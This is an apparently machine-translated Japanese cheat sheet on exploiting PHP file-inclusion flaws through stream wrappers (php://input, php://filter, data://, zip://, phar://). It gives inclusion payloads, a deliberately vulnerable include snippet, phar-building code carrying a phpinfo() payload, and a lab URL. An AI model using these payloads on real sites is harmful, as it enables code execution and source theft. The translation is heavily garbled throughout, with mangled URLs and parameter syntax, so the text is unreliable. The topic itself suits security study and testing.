-
INPUTをストリームPHPを使用(POSTは、上の値を受け入れ):
?ファイル= PHP:// INPUT
→詳細を(必要はallow_url_include =オン、[ http://php.net/manual/en/wrappers.php.php](http: //php.net/manual/en/wrappers.php.php) )
のコード実行: フローフィルタ(フィルタをするために使用することができます使用してPHPのファイルのphpの内容を読んでいない:にはallow_url_includeを開くために必要)を
?=ファイルPHP://filter/convert.base64-encode/resource=index.phpを-
URIのデータを使用する:
ファイル= [データ://テキスト/プレーン; Base64で、Base64でエンコードされたペイロード]?(データ://テキスト/平野、BASE64、BASE64 符号化されたペイロード)
(必要はallow_url_include = ON)<?php phpinfo();
、に注意を払っていないのですか?>休館
他のプロトコルをカプセル化し使用して
-
ジッププロトコル
http://php.net/manual/zh/wrappers.compression.phpはphp $include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); }
、それがPHPを含む行われた場合、4つの文字は、PHPと判断されていない後部フレームを引き継い契約プロトタイプ:ZIP://archive.zip#dir/file.txt
##この競合すると、URLの契約としてエンコードされたノートのURL -
pharの契約
Pharアーカイブは、パッケージ内のファイル(私はそれがzipアーカイブと同様であることを理解)へのphpファイルでphp <?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ; $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>
phar.readonlyデフォルト2つのローカルテストがある(オフに設定し、php.iniの注意パラメータを支払うことをphar時間を作成しますそれがオフになっている)
、その後含めることにより、プロトコルにアクセスします。
http://192.168.227.128/other/lfi/ex1.php?f=phar://./phar/phartest.aaa/testfile.txtこの方法は、PHP> 5.3.0のために使用しています
ます。https://www.jianshu.com/p/826543e07b4cで再現